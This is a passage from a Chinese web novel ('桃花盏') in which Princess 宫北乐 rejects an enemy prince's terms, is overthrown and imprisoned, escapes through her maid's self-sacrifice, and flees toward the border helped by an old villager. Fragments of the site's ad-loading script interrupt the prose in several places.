此刻帐中虽然坐着两个人,但临越的气质十分出众,因此即便宫北乐从没有见过他,依然能够从那两个人中一眼辨认出谁是临越。 她不动声色地打量着他。 青年未着军装,而是一身常服,衣服的料子很素,上面没有什么花纹。他的头发也只是随意挽起,乌黑的发丝散在肩头,令他看起来懒散随性。 他这身穿着与懒散的态度倒同传闻中的临越有些许出入。 不过,饶是他穿的如此随意,那素色衣袍却怎么也掩盖不住他的华贵之气。他只是静静地坐在那里,整个人便好像一个精心雕琢的艺术品。必得是在长年累月的富贵中浸泡着,才能养得出这般不凡的气度。 最关键的是,他虽与那个同他对弈之人相对而坐,但举手投足间自有一股来自上位者的压迫感。他是君,而坐在他对面的那个人是臣。 他们年纪相仿,身份地位 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却泾渭分明。 “你专程派使者传话,接我来你帐中,应当不只是为了让我看你与人下棋的吧?”宫北乐微微侧首,对着将黑子拈在手里正思索着下一步该如何落子的青年道。 临越勾唇一笑,将手中黑子扔进棋奁中,“不愧是大名鼎鼎的庆安公主,眼光果真毒辣。” 他挥了挥手,示意使者和那个与他对弈的青年下去,自己则起身斟茶。 宫北乐不动声色地注视着他,看着他不紧不慢地沏好两杯茶,茶香从杯盏中溢出,与水汽一起氤氲着攀上他的指尖。 他将其中一盏茶递给宫北乐,“公主请坐。” 宫北乐收回审视的目光,接过茶大方地在他对面坐下。 “我们的时间都很宝贵,公主也是聪明人,我便不与你拐弯抹角。”临越倒是痛快,开门见山地道:“昨天那一战,古水国的军队的确令我刮目相看,但这种打法完全是在用人命来堆国门而已,都只是无谓的牺牲。” 他的语气很温和,声音却是掩不住的冷冽:“公主,其实你们不必如此,接受我给你们的方案,我可以立即撤军。” “什么方案?”宫北乐的嘴角忍不住扬起一抹嘲讽的笑:“你所说的方案是指让我们立即投降,答应成为云黎的附属国,并每年向你们缴纳岁贡么?” 临越感受到她的嘲讽,却视而不见,甚至认真地补充一句:“还有一条,你嫁给我,做我的侧妃。” 宫北乐闻言放下手中的茶杯,蹙了蹙眉,眼中浮现出厌恶之色。正欲开口说话,却听临越继续道:“公主别急,大可以听我说完再考虑是否拒绝。” 他一手支颐,另一只手微微屈起手指,有节奏地轻轻敲打着桌面,“老实说,我很欣赏你的才干,若你是男儿身必定大有所为。只是可惜,你并非男子,而只是一个小小女子。女子在这世上只是生存便殊为不易,更何况是想要在朝堂上施展自己的抱负,那就更要付出比寻常男子多一倍的努力,以及……” 说到这里,他意味深长地笑了笑:“一些不能为人所知的代价。” 宫北乐抬起头与他对视,开口追问,语气里带有一丝试探:“比如?” “比如父女亲情,纲常人伦。”临越同样直视着她的眼睛,他的眼神和他所说的话都在告诉她,他很清楚她做了些什么:“来我这里,你再也不必如此。我给你机会,让你施展你的才学与抱负。” 不得不说,他所提出的这个条件极具诱惑性,而他的声音也仿佛能蛊惑人心,一点一点蚕食着宫北乐的心防:“三个多月前你所颁发的是一个预案,而现在所颁发的法令才是真正的变革之法,是吗?” 他站起身,走到宫北乐的面前,温和地笑着,微微俯身对她道:“让我再来猜一猜,你现在所颁发的法令只是第一阶段的变革,接下来还会有第二阶段。那么这第一阶段的变革你打算用多长时间呢,三年?还是五年?” 55. 桃花盏 宫北乐没有开口,静静地等待着临越把话说完。 他既然把话都说穿了,撕下了唯一一片遮羞布,那么与她的这一番谈话,便不可能只是抛出诱人的条件来诱惑她。依照他的性格,诱惑之后便该是威胁了。 果然,但听他悠悠地道:“你的父皇昏迷多久了,他还能继续昏迷多久?我想你应当比我更清楚自己此刻的处境。公主,你现在很危险,脚下的路一片漆黑,稍有不慎便是万丈深渊。” 他直起身子,看着陷入长久沉默的宫北乐,似乎对她的反应很是满意:“且不说你的父皇醒转之后会如何,即便是现在,你将朝中大权都紧紧攥在自己手里,这些法令的推行不也是照样艰难?当然,你也可以选择直接将你父皇杀了,如此你便可以名正言顺继承皇位,我如果是你,就会这么做。只不过,便如同我方才说的一般,很可惜你是女子。” 说到这里,他叹了口气,一副很理解宫北乐处境的样子:“你是女子,你的父皇以及朝中大臣都是一样的,他们宁愿过继皇室旁支为嗣,也不会允许你登上皇位。但我与他们不一样,我看得到你的才学,也很欣赏你的智谋,你到我的身边来,我给你机会施展抱负。我会替你扫平所有的阻碍,让你的法令与变革能够畅通无阻地实施。” 最后,他朝宫北乐伸出手:“为何要在泥泞中摸黑前行,而不去选择一条更轻松的路呢?” 宫北乐此刻已经平复了情绪,她的脸上已没有嫌恶之意,取而代之的是坚毅与平和。 她没有回应临越的话,而是淡淡地问了一句:“既然你说欣赏我的才干,那么为何还要让我做你的侧妃,而不是府中的幕僚或者朝中的官员呢?” 临越微微一怔。 他没有想到宫北乐会这样问。 “你说了那么多,却只字不提打算如何让我施展抱负。难道你所谓的机会,便是一个让我做他人妾的机会么?”宫北乐看似平静的目光之下仿佛藏着一柄柄散发着寒光的利剑,连同她的语气也染上了寒霜:“若真的这么欣赏我,那么你能否让我入朝为官,能否力排众议予以重任,真的给我机会让我亲自施展抱负?” 临越将手收了回来,轻轻吸了一口凉气。 “你不能,所以你对我的欣赏,便如同一个人对一个物件的欣赏,没有半分区别。”宫北乐也站起身来,“谈什么更轻易的路,那只不过是你一个人的路,而并非我的路。” “我现在走在我自己的路上,为了自己的百姓,做着我自己能做的选择,我为何要放弃这一切?即便是败了,我也绝不会后悔。”她不打算与他多言,转身准备离开,“太子殿下,话不投机半句多,我们的谈话就到这里吧。” 临越回过神来,在她身后道:“若你放弃我给你的选择,那便只有开战。一旦开战,就是不死不休了。” 宫北乐顿住步伐,她的语声虽轻,但每一个字都仿佛有万钧之力:“那便不死不休。也许最终你的确能取得胜利,但我古水国的将士们也一定会让你们付出极其惨痛的代价。” 说完她径直离开,走入帐外的光明之中,对于他方才所提出的那些条件,果真没有丝毫的动心留恋。 他望着她离开的方向,过了许久,才缓缓转身坐下,面带不解之色地望向方才没有下完的那局棋盘。 重新从棋奁中拈起一枚黑子,他皱着眉头思索半晌,却迟迟无法将手中的棋子落下。 这似乎是一局死棋。 手在半空中僵持许久,直到额间渗出一丝冷汗,他才谨慎地将棋子重新放回了棋奁。 临越最终选择了撤军。 这对于古水国来说,无疑是松开了扼在他们喉咙上的那双手,给了他们一丝喘息之机。 举国上下无不欢庆,宫北乐班师回朝的那天,百姓们夹道相迎。 这个时时刻刻都在亡国边缘徘徊的国家,已经许久没有这样欢庆热闹过了。 绿蚁却仿佛与这样的热闹格格不入,她没有出宫迎接,而是静静地坐在公主殿最高的屋檐上,啜一口酒,抬首望一眼天边的夕阳。 人间的景色真美呀,她以前从没有这样认真欣赏过。 夕阳之下,缓缓走来一个宫装女子,她挽着温婉的发髻,额间还贴着花钿。 绿蚁瞧着,有一瞬间的恍神。 人间的景色很美,但还有比景色更美的人。 宫北乐一手拎着裙摆,一手举着坛酒,在屋檐下站定,抬起头对绿蚁灿烂地笑:“这是我去年埋在桃花树下的酒,现在我打算启出来喝了,便当作我的凯旋酒。绿蚁大人,要不要一起呀?” 绿蚁垂首望向她,眯着眼睛,故意扬了扬下巴,“那你上来一起喝。” 宫北乐撅着嘴打量了一下屋檐的高度,跺跺脚,哼了一声转身就走。 过了一会儿,她在好几个亲卫的帮助下颤颤巍巍爬上了屋檐,一步一踉跄地在绿蚁身边坐下。 绿蚁诧异地转过头:“还以为你会知难而退。” 宫北乐晃了晃手中的酒坛:“我都平安从沙场回来了,就为了让你喝上一口我亲自酿的酒,差点从房顶滚下去。” 绿蚁把头扭回去:“何止是从沙场平安回来呀,你还敢孤身入敌营呢。我要是临越,就把你扣下,才不会让你回来,可见他也并不像传说中那般智多近妖。” 宫北乐没有说话,望着绿蚁张了张嘴,一副很吃惊的样子。 绿蚁被她看得浑身不自在,瞥了她一眼:“这是干嘛?” “你怎么突然这么多话啦。”宫北乐对着她眨巴眨巴眼睛:“以前你才不会同我闲聊这么多呢。” 绿蚁抿了抿嘴,似乎有些无语,干脆不吭声了。 宫北乐自然看得出来,她这是还在为自己不听她的劝阻坚持赶赴战场而生闷气呢。 戳了戳绿蚁的胳膊,她歪着脑袋问:“那你要不要喝我酿的酒呀?” 绿蚁一边气鼓鼓地别过头,一边接过宫北乐手中的酒:“喝!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宫北乐笑得更开心了,她启开自己的酒坛,深深地吸了一口气:“好香呀。”埋下头喝一口酒,她满足地抱着酒坛望着金黄色的夕阳:“还是回到自己宫中好,我其实很不喜欢冷冰冰的甲胄。我喜欢柔软温暖的丝绸裙,也喜欢各式各样的发髻,喜欢打扮得漂漂亮亮的。” “绿蚁。”她轻轻地唤她:“要是古水国能永远和平,每一个女孩子都能穿上自己想穿的衣服,去做自己想做的事情,那就好了。” 绿蚁仰头喝了半坛子酒,然后转首注视着宫北乐,认真地对她道:“你所说的这一切都会实现的,我会和你一起。” 宫北乐嗯了一声,重重地点了点头,举起怀中的酒坛与绿蚁手中的碰了碰:“那就这么说定了,不许反悔!” 绿蚁将手中的酒一饮而尽:“一言为定,绝不食言。” 此后便是一段难得的平静时光。 原本极力反对新政策的那些贵族似乎已经认命,他们不再反反复复地求见公主,也不再有人暗中雇佣杀手企图刺杀她。 红山一战令宫北乐在国中与军中的威望直线上升,如今朝野上下对她均是一片赞誉,即便有持反对意见的官员,却也不敢再上书反对变法。 临越不知出于哪些方面的顾虑,撤军之后没有再次进犯古水国。便连云黎国的盟友也按兵不动,偃旗息鼓。 宫北乐的法令推进得很顺利,一切都在朝着好的方向发展。 时间一晃,如此便过了两年。 突然有一天绿蚁找到宫北乐,告诉她自己将要离开古水国一段时间。 宫北乐乍听此事吓了一跳,有些不安地攥住绿蚁的袖口,“你要去哪里?要离开多久?” “你别担心,最多三个月我就会回来。”绿蚁道:“我要去一趟西方昆仑之境,去见帝师路之遥,求他解了我身上咒术师的封印。” 宫北乐闻言,理解地点了点头。 绿蚁曾经说过,因为她身上有上古巫族的血脉,因此天生便会咒术。然而这咒术的力量来源不明,会引起各方修士的追杀。 她若是此后再不能使用咒术,自然便不会再被那么多人追杀了。 只是,这种与血脉相关的东西,居然也是能解除的么? 她当即提出了这个问题。 “当然可以。”绿蚁很是笃定,她为了解除自己身上的封印,已经通过各种途径找了许久的方法:“所谓上古巫族血脉,其实也是一种咒术,是一种能将我们生生世世封印在咒术师的轮回中的咒术。既然有人能够设下这个封印,那么就定然有人能解开。” 只不过这四海八荒能够解开封印的人寥寥无几罢了。 她叹了口气,语气中却多出几分希望:“若说这普天之下还有谁能解开这道封印,恐怕便只有路之遥了。我于前日听闻路之遥如今正在西方昆仑之境,所以决定即刻动身前往。路之遥的行踪飘忽不定,若是去晚一步,恐怕又是好几十年都寻不到他的踪迹了。” 56. 桃花盏 “那你一定要注意安全。”宫北乐犹记得第一次见到绿蚁时,她那副浑身是血奄奄一息的样子:“九百年才结一次的还魂叶已经被你给吃掉了,你若是再受上次那样的伤,我可救不了你。” 绿蚁听到她这样说忍不住笑了,抬起手弹了弹她的脑门:“这段时间我可一点都没有耽误修炼,已然有所突破,不会再像之前那样被人打得如此狼狈了。” 她知道宫北乐是在担心她的安全,她何尝不担心独自居于宫中又毫无自保之力的宫北乐呢。 敛了笑意,绿蚁沉着语气严肃地道:“咒术既是给我带来危险的所在,却也是我最后一张底牌。原本我还在担心那些杀手实力太强,也许逼不得已时我会动用这张底牌。如今看来却是大可不必,再加上我现在已经突破,摸到了化神境的门槛,即便不使用咒术,也没有人能够伤到你我。” “对于现在的我来说,唯一会带来威胁的便是这与生俱来的上古巫族血脉。所以我想要去求路之遥替我解除封印,唯有如此我才能继续留在古水国,不用时刻担心因为巫族血脉而引来杀身之祸。”绿蚁向宫北乐解释着自己需要立马动身的原因,最后向她保证:“三个月之内,我一定回来。” “好。”宫北乐点了点头,她们二人之间其实早已无需多言,“我和樱儿一起为你收拾行李。对了,你不是爱喝我酿的酒么?我也替你装上两壶。” 宫北乐极有行动力,说着便唤来樱儿,两个人立马就开始为绿蚁收拾包裹。 绿蚁本想说自己根本用不上那些东西,但看见宫北乐和樱儿忙前忙后地替她收拾,便也就没有开口,静静地注视着她们忙碌的身影,然后从宫北乐手中欣然接过那重得不能再重的包裹。 “我们等你回来!”宫北乐冲着绿蚁挥手,一如既往笑得灿烂:“我已经拟好了第三道法令,等你回来便也正好到了推行的时候。到那个时候,我们就可以一起看到一个焕然一新的古水国了。” 绿蚁点头,转过身背对着宫北乐挥了挥手。 她将宫北乐的笑颜烙印在了心里,然后带着对她们的牵挂离开了古水国。 她知道,三个月的时间过得很快,等她前往西方昆仑之境寻见了路之遥,也许用不了三个月的时间,她便可以用全新的面貌回到古水国了。 到那时宫北乐一定会笑着问她路上的际遇,还会从桃花树下挖出一坛亲自酿的酒,像从前那般与她一起在公主殿最高的屋檐上对饮。 绿蚁这么想着,加快了前往昆仑之境的步伐。 她没有想到,在她离开一个月后,古水国君在其他咒术师的帮助下醒了过来。 在他醒来的同一天,古水国中的贵族对宫北乐展开了疯狂的反扑。 他们沉寂了两年,仿佛一直在蛰伏等待着这一天。 等这一天真的来临,他们燃烧着隐忍了两年的怒火冲进宫中,闯进公主殿撕毁了她正在修改的第三道法令。 紧接着宫北乐被古水国君打入大牢,并以谋害国君、篡夺皇位的罪名亲自宣判了她的死刑。 这一切发生得太快,宫北乐猝不及防。 在捉拿她的侍卫与守护她的亲卫发生刀剑冲突时,她艰难地在一片混乱中保持着清醒理智,迅速做出最有利于自己的判断,喝退了死死守在她身边的亲卫。 寡不敌众,倘若侍卫们在捉拿她的途中发生了冲突,父皇可以立即下令斩杀她。 被押进大牢,虽然仍旧会在一个月后被执行死刑,但她至少多了一个月的时间等待转机。 只要还活着,就会有转机。 她没有想到的是,这一个转机是以樱儿的性命为代价换来的。 在她被关进大牢之后,樱儿于暗中多次走动,终于在几日后得到一个悄悄探视宫北乐的机会。 “今日值守宫门的侍卫是第九营的人。”樱儿一见到宫北乐,没有多言,直接告诉了她这样一个关键信息。 宫廷侍卫中的第九营是宫北乐执政期间新增的一营,虽然宫廷侍卫的职责只有效忠国君这一条,但第九营中有不少人是暗中支持宫北乐的。 樱儿将一个出宫令牌塞进宫北乐的手里:“我已经提前打点过了,到时他们会放你出宫的,这个令牌只是走一个过场而已。” 冰凉坚硬的令牌硌得宫北乐的掌心微疼,她正想问樱儿自己该如何出宫,即便拿到了令牌打点好了宫廷侍卫,她也离不开这座牢狱。 下一秒就见到樱儿从袖中取出一个钥匙,干脆利落地把牢门的锁打开,悄悄地钻了进来。 “公主,快,我们现在换一下衣裳,然后你立即出宫。” “你从哪里拿到钥匙的?”宫北乐一把按住樱儿正在解开衣衫的手,警觉地抬起头打量四周。却见看守她的狱卒们刻意地将脑袋别到一边,好像看不见牢中发生的一切。 樱儿的动作虽然很轻,但他们不至于察觉不到。这样刻意地忽略她们,宫北乐心里瞬间有了答案。 “公主,他们都是感念于你往日的恩泽,自愿这么做的。”樱儿将宫北乐按住她的手拿开,继续道:“留给我们的时间不多,那些人不知道从哪里找来了一个咒术师,他的本事恐怕不在两年前的绿蚁大人之下,你离开大牢之后一定要立马出宫,若是晚了一步,可能来不及出宫就会被他发现。” “对了,你的亲卫们已经率先一步出宫,都在京郊西北处等你,离宫之后你可以去那里寻找他们。”樱儿飞速地思索着,将她所知道的一切讯息告知宫北乐。 末了,她抽了抽鼻子,轻轻地吸了一口气,担忧之情溢于言表:“公主,一旦离宫,等待你的就是无尽的追杀。不知道亲卫们能不能抵挡住那些追杀,也不知道他们能护送你走到哪一步。但不管怎么样,总比留在这里好。留在这里,只有死路一条。” 宫北乐注视着眼前这个比她还小两岁的姑娘,忍不住回忆起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当初刚把她接到宫里来的模样。 那时候的她瘦得皮包骨头,总是垂着头不敢大声说话,即便在宫北乐面前,也常常像一只受了惊的鹌鹑。身边的一切风吹草动都会令她神经紧绷,好像下一秒就会有人跳出来伤害她。 可是如今,两年多的时间过去了,宫北乐将她养得面色红润,甚至连个子都长高了一节。 这两年来她总是带着她出入各种重要的场合,批阅奏折时也总是留她在身边研墨添茶。 这才教得她聪明伶俐,落落大方。 樱儿是她从难民堆里捡回来,用心血教养出来的女孩,她怎么舍得让她为了自己去送死。 宫北乐闭上眼睛,苦涩地摇了摇头。 樱儿见状停下手上的动作,她深深地注视着宫北乐,好像要将她的脸庞生生世世烙印在自己的脑海中。过了一会儿,她的嘴角扬起一个同样苦涩的笑:“公主,这些年来是你教我识字,教我读书,教我懂得那么多的道理。其实在樱儿心里,早已将你当作了我的姐姐。没有你,就没有今日的我。所以我是自愿这么做,我是真心想要救你出来的。” 宫北乐睁开眼睛,望着樱儿的笑容,顿觉鼻尖酸涩,忍不住落下泪来。 她倔强地不让眼泪流下,抹了一把脸上的泪水,然后微微别过头去:“既然你把我当作姐姐,我也早就视你为我的妹妹。那我就更不可能答应你,让你代替我去死。” 樱儿闻言上前两步,用力握住宫北乐的手:“可是你不只是我一个人的姐姐,你还是古水国的公主,是给古水国带来奇迹的英雄。如果不是你,古水国早在两年前就灭国了,是你让大家不再饱受战乱之苦,得以安居乐业,是你给我们带来了希望。所以你不能死!” 她的声音有些颤抖,目光却是前所未有的坚定:“何为舍生取义,何为杀身成仁,这些道理是你让我明白的。现在我想要亲自去实践它,我想要跟你并肩前行。便让我去做吧,好吗?” 宫北乐死死咬住嘴唇,直到嘴唇被她咬破,殷红的血从她苍白的唇间流出,她终于在极度痛苦中做下决定,与樱儿互换了衣衫。 宫北乐离开大牢之前,樱儿将九魂草塞进了她的怀里,最后对她道:“这是古水国的圣药,我不想让它落入那些坏人手里,你带着它一起逃吧,往西边走,往绿蚁大人的方向,逃得越远越好。” 正在西方昆仑之境寻帝师路之遥解除封印的绿蚁,是她们最后的希望了。 宫北乐最后望了一眼樱儿,将所有的不舍与痛苦都嚼碎了咽进肚里,转身离开了大牢。 她微微垂着头一路往宫外走,宫门处的侍卫果如樱儿所言,皆是第九营的人。 宫廷侍卫眼光何等犀利,他们自然一眼便认出了宫北乐,但是谁也没有出声,看了一眼她手中的令牌,便放她离去了。 宫北乐顺利出宫之后,在京郊西北处与她的亲卫们汇合,就此踏上了逃亡之路。 57. 桃花盏 便在宫北乐离开古水国都不久,云黎国再次举兵进攻古水。这一次没有等临越的破天军打到红山脚下,古水国君便领着一众皇室成员在京外降了。 不同于两年前,这次临越没有跟古水国谈条件,如今的古水国连成为云黎附属国的资格都没有。 临越要求古水国君一脉的子嗣皆入云黎国京都成为俘虏,至于古水国皇室旁支,他给他们三日的时间自裁。如若不然,他便亲自率军踏平古水国都,到那时他们的下场只会比现在更加凄惨。 自裁还能留个全尸,若真等到他率军亲临,他们的结局只能是尸骨无存。 古水国君答应了他的要求,领着妻女跟随着云黎国的军队,作为他们的战利品被押往了云黎京城。 从此这世上再无古水国,宫北乐就此成为了亡国公主。 不过,不同于她那些被押解进了敌国京城的庶妹,她虽在逃亡,却不是奴隶的身份。 想是她留给云黎国的印象实在太过深刻,在云黎眼中她并不是一个没有丝毫反抗之力的公主,而是一个巨大的隐患。因此在古水国灭亡后,那些追杀她的人由古水国士兵变成了云黎国杀手,并且人数只增不少。 宫北乐在亲卫们的护送下东躲西藏,一路向西行去。 这一路上他们遭遇了无数次伏击,护送宫北乐的亲卫一路杀出重围,最初的二三十人只剩下了五六人。 虽然损失惨重,但好在最后这仅剩的五六人将她护送到了一个不知名的边陲小镇。 只要离开这个小镇,他们就走出了古水国境,也就暂时脱离了云黎国的掌控范围。 他们至少不会再被这么多的人追杀了。 夜已渐深,几人谨慎地走在偏僻小巷中,商讨着出境的方法。 用寻常的法子出境肯定是不行的,唯有想办法避开边境士兵,寻一条不为人知的小路离开。 可是此地他们几人都是第一次来,对地形皆不熟悉,便也就不能带宫北乐避开杀手与追兵逃出去。 “为今之计,只有在这镇中暂住两日,等我们摸清楚此处的环境地形之后再做打算。” “这的确是唯一的法子了,但是云黎国早已将公主的画像张贴悬赏,我们这一路上除了被杀手追杀,最大的威胁反而是当地的百姓。” “是呀,这一路上我们都不敢在城镇中歇脚,多少次杀身之祸都是被那些老百姓举报了行踪才引来的。若要在这镇中住两日,只怕是危险。” 宫北乐在一旁安静地听着亲卫们的商讨,连日的奔逃和属下的牺牲已让她心力交瘁,再加上这一段时间她基本不能饱腹无法休息,此刻她无比虚弱,连说话的力气也没有。 但是,樱儿和亲卫们拼了性命才让她逃到了这里来,无论如何她都要坚持下去。 可以说,这是支撑着她一路逃到现在还没有崩溃的唯一信念了。 她咽了一口唾沫,重重地咬了下嘴唇,用痛感让自己保持清醒:“不用住在镇上,我看镇外便是群山,我们这两日就住山里去。” “可是您需要休息,山中蚊虫野兽太多,您身体如此虚弱,是承受不住的。我们还是想办法在镇上……”亲卫的声音在耳边响起,但宫北乐恍惚之间只能听个断断续续。 她的确需要休息,但不能在这里。 抬手打断了亲卫的话,她发出命令,所有人不再在镇中逗留,即刻往镇外山里去。 这一路上最令她心痛的其实并不是云黎国的追杀,而是沿途百姓对他们行踪的举报。 这些百姓曾经都是古水国人。 是她不惜一切代价想要守护的人。 但如今,他们反而成为了她逃亡路上最具威胁的人。 便在他们打算趁着夜色离开小镇去往山中时,一个老妇人步履蹒跚地经过此处,注意到他们之后,睁大了眼睛朝宫北乐走过来。 即便是在这个边陲小镇上,也随处可见悬赏捉拿宫北乐的告示,这个老妇一定是认出公主来了。 亲卫们当即不动声色按住手中剑柄。 其中一人垂首悄声对宫北乐道:“公主,此人已经认出了您,我们必须将她灭口。” “不可。”宫北乐很坚决地反对道:“打晕她就好,不要杀人。” 随着老人逐渐靠近,亲卫们也逐渐变得焦虑:“可是她已经认出了您,等她醒过来一定会泄露我们的行踪,为了您的安全,她必须要死。” 宫北乐已没有力气开口,她只是摇头,反对亲卫们杀死手无缚鸡之力的平民。 便在这时,那老妇人眯着眼睛再三确认了一番,张口道:“你是庆安公主!” 此话一出,宫北乐的亲卫们纷纷拔剑出鞘,围成一个圆圈将她护在中央。 那老人被这场面吓了一跳,一屁股跌坐在地。 她年纪太大了,坐在地上有些站不起来,她只好就这么坐着,颤颤巍巍地朝宫北乐招招手:“公主,你快别待在这里了。他们知道你要往西边走,一定会路过这里,每天晚上都有士兵巡逻,再待在这里,一定会被他们发现的。” 老人这话倒令亲卫们一时有些分不清,她到底是真心告知宫北乐此处危险,想要让她离开此地,还是假意劝告一番,转头便会出卖他们。 众人迟疑间,但见宫北乐撑着最后一丝力气,缓缓走向那个老妇:“阿婆,我们没有地方去了……” 说完这句话,她再也支撑不住,闭眼昏迷过去。 再醒来时,她发现自己躺在一个简陋的小屋里。 这屋子虽然简陋,但是收拾得井井有条,屋中为数不多的陈设都被擦拭得一尘不染,可见主人家十分勤勉细心。 她躺在床上观察着周围的环境,过了一会儿,双手撑着床板缓缓坐起来。 她尚未完全恢复,刚坐起来便觉得一阵天旋地转,又闭上眼睛重重地躺了回去。 许是听到了屋里的动静,有人将门推开,小声地唤了一声公主。 是昨晚的那个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老妇人。 宫北乐睁开眼睛,转头望向门口。 那老妇人手中端着一碗面条,面条上还卧着一枚鸡蛋。见宫北乐醒了,她面露喜色,把门关上,端着面朝她走来。 “我估摸着,这时候你是该醒了,便给你煮了一碗面。”老人把面在床头放下,弯下腰扶宫北乐起来,压低了声音道:“你醒得正好,这面刚刚煮好,还热乎着呢。” 说着,她又颤颤巍巍地给她倒了一碗水,坐在床沿将水递到她的嘴边:“喝了这碗水再吃面,你看你的嘴巴都干了。” 宫北乐喝了好几口水,终于感觉自己慢慢缓了过来,她对那老人感激地道:“阿婆,多亏了你,谢谢你愿意收留我住一晚。” 老人将空了的水碗放下,又将面条端过来,仍旧是压低了声音道:“街坊邻里都叫我桐婆,你便叫我桐婆婆就好。公主,这里很不安全,那么多人都在捉拿你,你现在又还这么虚弱,得快快恢复过来才行呀。” 宫北乐接过面碗,没有同她客气,大口大口吃了起来。 吃着吃着,她红了眼眶流下泪来,泪水顺着她的脸庞流下,落在面碗里,被她和面条一起吞入腹中。 终究她还是个年轻姑娘,经历了一场剧变,还有一路的逃亡,她始终咬牙告诉自己必须坚强,无论吃了多少苦都不允许自己落下一滴泪。 但此刻在一片危机四伏中感受到来自陌生人的善意,手捧着这样一碗简简单单却温暖实在的面,她竟忍不住哭出声来。 桐婆婆抬手轻抚她的后背,眼中满是心疼:“你这年纪与我的孙女差不多大,却要受这样的罪。公主啊,我们知道,你会受这样的罪都是因为我们。” 说着,她的声音里也有了些哭腔:“我们都知道,你是盼着我们好,才会得罪那么多的人,要不是为了我们,你早就可以走了,又怎么会像今天这样被人四处追杀。” 宫北乐抱住膝盖哭了许久,在桐婆婆的安抚下渐渐平静下来。 这样痛痛快快地大哭一场,她反而觉得自己好了许多,不再像之前那般难受。 “桐婆婆,真的谢谢您,只是现在我还无法报答您,我们该走了。”她担忧地望了一眼窗外:“继续在这里待着,我们恐怕会连累了您。” “你们接下来打算往哪里去?”桐婆婆摇摇头,不住地叹气:“现在外面都是捉拿你的人,无论你们往哪里走,都很危险啊。” 说到这里她停顿了一下,好似突然想起了什么:“公主,你们若是要出境,我倒想起一条路来。如果你们能避开边境的那些士兵逃出国去,是不是就会安全许多?” “正是。”宫北乐连忙问:“桐婆婆,您想起了什么小路?” “你们从我家后院出去,就沿着这条街一直往前走,走到尽头右转,就到了郊外。”桐婆婆回忆着道:“老婆子几年前去郊外的山上捡柴,不小心进了一片桃花林,穿过那片桃花林会看见一条河,只要过了那条河,你们就离开古水国了。” 58. 桃花盏 虽然古水国已经灭亡,被并入了云黎国内,这世上早已没有古水一国,但是桐婆婆依然这么称呼着故国:“现如今古水国已经没了,连我们的国君都主动投降,被抓到了云黎国的京城做俘虏。国君尚且如此,我们这些老百姓的日子过得只会比他们更苦。” 她抿了抿皱皱巴巴的嘴唇,用满是老茧与皱纹的双手握住宫北乐的手:“我们是古水国的遗民,根本就不会被云黎人当作自己人。但是我们都相信,只要庆安公主还在,我们就不是亡国奴。等你回来,一定会赶跑敌人收复失地的。” 宫北乐回握住桐婆婆的手,对上老人略有些浑浊但满目期待的眼睛。此时此刻,她觉得任何语言都是分外无力的,因此只能久久地与老人对视,抬手替她抹去浑浊的泪水。 桐婆婆向宫北乐指出了她方才所说的那条路的方向,劝宫北乐再休息会儿,养足精神等到天黑再动身。 宫北乐的亲卫们对桐婆婆所说的话十分存疑,他们仍然担心这个老人只是在骗取宫北乐的信任,目的是防止他们逃跑,将他们引诱到陷阱中去而已。 但是宫北乐选择了相信她。 天黑时分,她在几名亲卫的保护下从后院离开,按照桐婆婆所指的方向前行。 从后院出来之后,沿着街道一直往前,走到尽头右转,便走出了小镇,到了镇外的郊区。 他们这一路行来所看见的景象跟桐婆婆说的一模一样,几人来到郊区之后,便依她之言往郊外西北处的第一座山上而去。 几名亲卫虽然仍未放下疑心,但是已经行至此地,此刻也只能依照桐婆婆的指引,打起十二分精神前进。 好在行至半山腰处,众人沿着一条极为狭窄的小径拐了个弯儿,一片桃花林骤然映入他们眼帘。 此时正值大好春光,人间芳菲一片,那桃花林开得极艳,林中落英缤纷,风只消轻轻一吹便能卷起一地落花。 眼前之景煞是好看,可惜众人正在逃亡途中,无法驻足欣赏。 “依桐婆婆所言,穿过这片桃花林就能看见一条河,只要越过那条河便能离开古水国境了。”宫北乐将目光投向桃花林的深处,略微停顿了一刻,便抬步向桃花林中走去,“我们快走吧,穿过这片桃花林,前路也许就是生机。” 这一片桃花林繁茂且幽静,想是平时鲜少有人涉足,他们踩着一地的花瓣向前走,每个人的鼻尖都充斥着桃花沁人的香气。 便在一行人走到桃林最深处时,宫北乐突然停下步伐,静静地站在原地,抬眸望向她身侧的一株桃花树。 “公主,怎么了?”亲卫们顺着宫北乐的目光望向那一株花树,却并未觉得此树与桃林中的其它花树有何不同,于是问道:“您可是发现了什么异常?” 宫北乐缓缓摇头,她也说不出来这棵树有何不同,却仍旧认真地注视着它,半晌,她抬手抚上树干,面上流露出一些困惑之意:“我好似……在什么时候来过此地。” 准确来说,她似乎是在何时何地见过眼前的这一株花树。 在她看见这棵桃花树的一瞬间,一股莫名的熟悉感扑面而来。 树干上的每一处纹路她好似都曾亲手抚摸过,便连花瓣的清香都是如此的熟悉,每一缕花香都好像是从无比悠远的时光中传来,勾起她一些久远朦胧的记忆。 脑海中的记忆碎片在桃花香气的牵引下刺激着她的神经,她不由抬手捂住脑袋。 记忆里,她看见一个女子倚在这棵树下小憩,花瓣纷纷扬扬落了她一身,将她埋在一池的花香中。她打了个喷嚏缓缓醒来,轻柔地拂落洒在身上的花瓣,起身取来工具为这株桃花树浇水。 她悉心照料着它,就好像它是这天地间最最宝贵之物。 如此年复一年,那女子一如既往照顾着这株花树,光阴漫长流转,她陪伴着始终无言的它,却似乎并不觉得寂寞。 宫北乐蹙眉按揉着自己的太阳穴。 这是什么? 她疑惑不解。 这是谁的记忆? 她的脑海中为何会出现这些熟悉却又陌生的画面。 “公主?公主你怎么了?” 亲卫们的呼唤让她从那莫名的记忆中抽离出来,她奇怪地望着身侧的这株花树,最后抬手抚摸了一下它,“没怎么,可能是以前做过与此地极为相似的梦吧,刚才那一瞬间觉得这里的一切都无比熟悉。” 她再次摇了摇脑袋让自己恢复清醒,不敢继续耽搁,重新抬步向前走去。 继续往前行了一刻钟,他们终于穿过了这片桃花林。 